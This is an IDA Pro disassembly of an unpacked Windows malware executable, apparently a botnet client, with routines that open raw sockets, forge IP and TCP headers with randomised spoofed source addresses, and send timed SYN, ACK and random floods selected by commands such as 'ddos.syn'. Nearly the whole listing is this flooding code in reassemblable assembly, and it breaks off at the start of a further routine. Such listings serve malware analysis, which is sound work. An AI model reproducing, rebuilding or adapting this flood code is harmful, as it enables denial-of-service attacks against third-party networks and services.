;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D46FECD7910F9A1F10165C4E124038EF

; File Name   :	u:\work\d46fecd7910f9a1f10165c4e124038ef_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0006D000 ( 446464.)
; Section size in file		: 0006D000 ( 446464.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: sub_40CD3A+383Co

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E8
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_415316
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412BD1
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B078
		push	[ebp+var_290]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E8+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43C99C	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013BB
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: sub_4010B2+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43CAC8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013B3
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43CA04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013A9
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43CA24	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43CA24	; ntohs
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43CA24	; ntohs
		mov	[ebp+var_12], ax
		call	sub_415372
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43CA24	; ntohs
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43CA20	; ntohl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415372
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_415372
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43CA24	; ntohs
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_4157C0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2EEj
		mov	[ebp+var_4], bx
		call	sub_415372
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43CA24	; ntohs
		mov	[ebp+var_14], ax
		call	sub_415372
		mov	edi, eax
		shl	edi, 10h
		call	sub_415372
		or	edi, eax
		push	edi
		call	dword_43CA24	; ntohs
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43CA20	; ntohl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43CA24	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43CA88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013BF
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013A6
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_401264


loc_4013A6:				; CODE XREF: sub_4010B2+2E0j
		mov	ebx, [ebp+arg_8]


loc_4013A9:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+334j
		push	[ebp+var_20]
		call	dword_43CABC	; closesocket
		pop	esi


loc_4013B3:				; CODE XREF: sub_4010B2+5Bj
		call	dword_43C984	; WSACleanup
		mov	eax, ebx


loc_4013BB:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4013BF:				; CODE XREF: sub_4010B2+2CBj
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_42308C
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B078
		add	esp, 10h
		jmp	short loc_4013A9
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E8	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409F7A
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41587F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41587F
		mov	edi, eax
		call	sub_415372
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401435
		inc	eax


loc_401435:				; CODE XREF: sub_4013E8+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401444	proc near		; DATA XREF: sub_40CD3A+3A2Fo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43CAA4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014DF
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_423238
		push	eax


loc_401493:				; DATA XREF: .text:off_424D90o
					; .text:off_425D58o
		call	sub_415316
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C2
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_4014C2:				; CODE XREF: sub_401444+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4014DF:				; CODE XREF: sub_401444+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43CA04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401556
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231E8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401539
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_401539:				; CODE XREF: sub_401444+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_401556:				; CODE XREF: sub_401444+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43CA64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015BD
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231B4
		push	eax
		call	sub_415316
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A0
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_4015A0:				; CODE XREF: sub_401444+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4015BD:				; CODE XREF: sub_401444+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43CA24	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43CA64	; inet_addr
		mov	esi, dword_42104C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_40171E
; ---------------------------------------------------------------------------


loc_401600:				; CODE XREF: sub_401444+2EBj
		push	41Ch
		mov	byte_43B238, 45h
		call	dword_43CA24	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_43B23A, ax
		mov	word_43B23C, bx
		mov	word_43B23E, di
		mov	byte_43B240, 80h
		mov	byte_43B241, bl
		mov	word_43B242, di
		jz	short loc_40166F
		call	sub_415372
		mov	ebx, eax
		shl	ebx, 8
		call	sub_415372
		add	ebx, eax
		shl	ebx, 8
		call	sub_415372
		add	ebx, eax
		shl	ebx, 8
		call	sub_415372
		add	ebx, eax
		mov	dword_43B244, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_401687
; ---------------------------------------------------------------------------


loc_40166F:				; CODE XREF: sub_401444+1F9j
		push	[ebp+var_1BC]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43CA64	; inet_addr
		mov	dword_43B244, eax


loc_401687:				; CODE XREF: sub_401444+229j
		mov	eax, [ebp+var_18]
		mov	dword_43B248, eax
		call	sub_415372
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43B24C, dl
		call	sub_415372
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43B24D, dl
		call	sub_415372
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43B24E, di
		mov	word_43B252, bx
		inc	edx
		mov	word_43B250, dx
		call	sub_415372
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43B254
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43B238
		push	[ebp+var_4]
		call	dword_43CA88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4017BA
		inc	[ebp+arg_0]


loc_40171E:				; CODE XREF: sub_401444+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_401600
		push	[ebp+var_4]
		call	dword_43CABC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_423150
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40179D
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_40179D:				; CODE XREF: sub_401444+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread


loc_4017BA:				; CODE XREF: sub_401444+2D1j
		push	[ebp+var_4]
		call	dword_43CABC	; closesocket
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4230E8
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_401812
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412BD1
		add	esp, 14h


loc_401812:				; CODE XREF: sub_401444+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B078
		push	[ebp+var_38]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_401444	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182F	proc near		; DATA XREF: sub_40CD3A+372Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423280
		push	eax
		call	sub_415316
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AC
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412BD1
		add	esp, 14h


loc_4018AC:				; CODE XREF: sub_40182F+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B078
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40182F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CB	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43C99C	; WSAStartup
		test	eax, eax
		jz	short loc_40190B
		xor	eax, eax
		jmp	loc_401B4F
; ---------------------------------------------------------------------------


loc_40190B:				; CODE XREF: sub_4018CB+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43CAC8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B47
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43CA04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B3D
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43CA24	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43CA24	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43CA24	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43CA24	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_4157C0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F6:				; CODE XREF: sub_4018CB+25Dj
					; sub_4018CB+269j
		mov	[ebp+var_24], bx
		call	sub_415372
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43CA24	; ntohs
		mov	[ebp+var_34], ax
		call	sub_415372
		mov	edi, eax
		shl	edi, 10h
		call	sub_415372
		or	edi, eax
		push	edi
		call	dword_43CA24	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43CA20	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43CA24	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4153F0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43CA88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B53
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B3A
		jl	loc_4019F6
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_4019F6


loc_401B3A:				; CODE XREF: sub_4018CB+25Bj
		mov	ebx, [ebp+arg_8]


loc_401B3D:				; CODE XREF: sub_4018CB+78j
					; sub_4018CB+2AFj
		push	[ebp+var_C]
		call	dword_43CABC	; closesocket
		pop	esi


loc_401B47:				; CODE XREF: sub_4018CB+5Bj
		call	dword_43C984	; WSACleanup
		mov	eax, ebx


loc_401B4F:				; CODE XREF: sub_4018CB+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401B53:				; CODE XREF: sub_4018CB+247j
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4232BC
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B078
		add	esp, 10h
		jmp	short loc_401B3D
sub_4018CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182F+3Cp

arg_0		= dword	ptr  4
